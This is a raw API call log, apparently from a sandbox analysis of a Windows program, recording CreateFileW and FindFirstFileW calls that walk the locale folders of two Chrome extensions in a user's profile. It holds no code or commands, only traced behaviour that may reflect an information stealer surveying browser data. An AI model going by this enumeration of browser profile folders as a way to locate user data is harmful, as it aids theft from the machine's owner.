	[0066.479] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.479] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.480] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.480] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.481] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.481] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.481] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.481] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.482] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.482] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.483] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.483] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.484] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_cn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.484] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.484] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_tw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.484] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.485] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.485] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\*", lpFindFileData=0x124155f8 | out: lpFindFileData=0x124155f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.486] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.486] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\*", lpFindFileData=0x124156c0 | out: lpFindFileData=0x124156c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x844bb8e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844c0700, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844c0700, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.487] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.487] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\*", lpFindFileData=0x1241565c | out: lpFindFileData=0x1241565c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8401b790, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844b1ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.489] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.490] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\*", lpFindFileData=0x124155f8 | out: lpFindFileData=0x124155f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8402f010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8422fb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8422fb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.492] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.493] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84036540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8403b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8403b360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.494] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.494] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x840512f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84056110, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84056110, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.494] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.494] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84062460, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84067280, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84067280, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.495] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.495] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8406e7b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8407f920, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8407f920, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.496] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.496] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8408bc70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84090a90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84090a90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.497] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.497] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84097fc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8409cde0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8409cde0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.497] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.497] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841147f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84116f00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84116f00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.498] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_gb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.498] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8411bd20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84120b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84120b40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.499] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
